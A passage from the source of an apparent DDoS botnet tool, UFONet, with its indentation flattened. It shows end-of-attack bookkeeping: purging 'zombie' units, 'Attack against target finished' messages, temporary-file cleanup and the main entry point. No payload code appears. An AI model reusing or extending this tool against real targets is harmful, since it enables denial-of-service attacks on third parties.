print(" + [Info] [Aliens] "+a+" -> [Purged!]")
if self.num_discard_droids > 0:
for d in self.discard_droids:
discarded.append(d)
print(" + [Info] [Droids] "+d+" -> [Purged!]")
if self.num_discard_rpcs > 0:
for r in self.discard_rpcs:
discarded.append(r)
print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
if self.num_discard_ucavs > 0:
for u in self.discard_ucavs:
discarded.append(u)
print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
disc_zombies = self.discard_zombies(discarded)
if disc_zombies > 0 and disc_zombies < 2:
print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
elif disc_zombies > 1:
print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
if not self.options.target_list:
print('-'*21+ "\n")
print("[AI] "+self.exit_msg+"\n")
if not self.options.web:
return
else:
if self.num_target_list > 0:
print('-'*21+ "\n")
print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
return
else:
print('-'*21+ "\n")
print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
print("\n"+ '='*21+ "\n")
print("[Info] [AI] All your battles have ended! -> [Exiting!]")
print("\n"+ '-'*21+ "\n")
print("[AI] "+self.exit_msg+"\n")
if not self.options.web:
return
else:
if num_real_zombies < 1:
print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
if os.path.exists('mothership') == True:
os.remove('mothership')
if os.path.exists('alien') == True:
os.remove('alien')
if not options.web:
sys.exit(2)
else:
return
else:
print("\n" + '='*21)
AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
if AI_reply == "y" or AI_reply == "Y":
self.AI()
print('-'*21+ "\n")
print("\n[AI] "+self.exit_msg+"\n")
if os.path.exists('mothership') == True:
os.remove('mothership')
if os.path.exists('alien') == True:
os.remove('alien')
if not options.web:
sys.exit(2)
else:
return
else:
if not options.attackme:
print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
else:
print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
print("\n" + '-'*21)
print("\n[AI] "+self.exit_msg+"\n")
if os.path.exists('mothership') == True:
os.remove('mothership')
if os.path.exists('alien') == True:
os.remove('alien')
return
if __name__ == "__main__":
app = UFONet()
options = app.create_options()
if options:
app.run()
